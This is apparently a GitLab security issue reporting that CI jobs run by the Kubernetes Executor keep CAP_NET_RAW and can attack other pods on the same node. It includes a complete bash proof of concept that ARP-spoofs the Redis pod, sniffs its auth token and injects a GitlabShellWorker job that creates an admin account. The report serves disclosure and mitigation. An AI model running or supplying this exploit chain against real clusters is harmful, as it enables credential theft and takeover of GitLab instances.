Skip to content

Kubernetes Executor should block `CAP_NET_RAW` capability by default; allow configuration

Summary

The Kubernetes Executor executes jobs on pods with the default security context, which allows CAP_NET_RAW. This allows for malicious workloads to use arpspoofing and other methods to attack any other workload running on the same node.

As a proof of content, the default installation of the GitLab Helm chart bundles GitLab runner and deploys the Runner into the same cluster alongside the GitLab instance. This opens various attack paths from CI Jobs towards the GitLab instance, including the ability to get admin control over the instance.

Steps to reproduce

A very basic example would be the following shell script:

#!/bin/bash
apt-get update
apt-get install -y git python python-scapy tcpdump dnsutils dsniff nmap psmisc arping binutils grep netcat
GWIP=`ip route |grep default | cut -f 3 -d " "`
REDISIP=`host gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local | cut -f 4 -d " "`
arping gitlab-redis-master-0.gitlab-redis-headless.default.svc.cluster.local -c 3 || exit  # wrong subnet
tcpdump -ni eth0 -s 0 -w out.pcap &
arpspoof -r -t $REDISIP $GWIP & > /dev/null 2>&1 
sleep 3
tcpkill -9 port 6379 & sleep 5 && killall -9 tcpkill
sleep 10 
killall tcpdump
killall -9 arpspoof
REDISTOKEN=`strings out.pcap |grep '^auth$' -A 1  | grep '[a-zA-Z0-9]\{64\}' | head -n 1`
nc $REDISIP 6379 <<EOE
auth $REDISTOKEN
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"User.new(name: 'haxx',admin: true,password: 'haxx1234%A',username: 'haxx', email: 'ha@xx.invalid',admin: true).save\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"4552c3b1225428b18682c901\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
EOE
exit 0

The script will interfere with the redis instance on network level using arpspoof and tcpkill to sniff the redis authentication token. Subsequently the script will create an admin account via injection of a GitlabShellWorker job.

I could run this script and sucessfully create the admin account from a CI job in a test installation of the GitLab Helm chart. The installation was performed using

helm  upgrade --install gitlab  gitlab/gitlab \                                     
  --timeout 600s \
--set global.hosts.domain=k8s.thetanuki.io \
--set certmanager-issuer.email=jschneeweisz@gitlab.com \
--set global.hosts.externalIP=34.107.49.76

Note: Due to the network segmentation the CI job needed to be started several times to eventually end up in the same network segment where the redis pod lives this is required for the ARP spoofing attack to be performed.

This is just one of many possible attacks, other vectors might target the Gitaly or Gitlab Shell tokens or even sniff passwords for the Web login.

Proposal

GitLab runner should always be installed on a distinct cluster. Thus the GitLab Helm chart should not install the Runner by default.

Configuration used

The GitLab instance wasn't further configured, just sign-ups have been disabled.

Versions

  • Chart: gitlab-4.1.4
  • Platform:
    • Cloud: GKE
  • Kubernetes: (kubectl version)
    • Client: Client Version: version.Info{Major:"1", Minor:"18", GitVersion:"v1.18.3", GitCommit:"2e7996e3e2712684bc73f0dec0200d64eec7fe40", GitTreeState:"archive", BuildDate:"2020-05-22T20:04:08Z", GoVersion:"go1.14.3", Compiler:"gc", Platform:"linux/amd64"}
    • Server: Server Version: version.Info{Major:"1", Minor:"14+", GitVersion:"v1.14.10-gke.36", GitCommit:"34a615f32e9a0c9e97cdb9f749adb392758349a6", GitTreeState:"clean", BuildDate:"2020-04-06T16:33:17Z", GoVersion:"go1.12.12b4", Compiler:"gc", Platform:"linux/amd64"}
  • Helm: (helm version)
    • Client: version.BuildInfo{Version:"v3.1.2", GitCommit:"d878d4d45863e42fd5cff6743294a11d28a9abce", GitTreeState:"clean", GoVersion:"go1.13"}
Edited by silv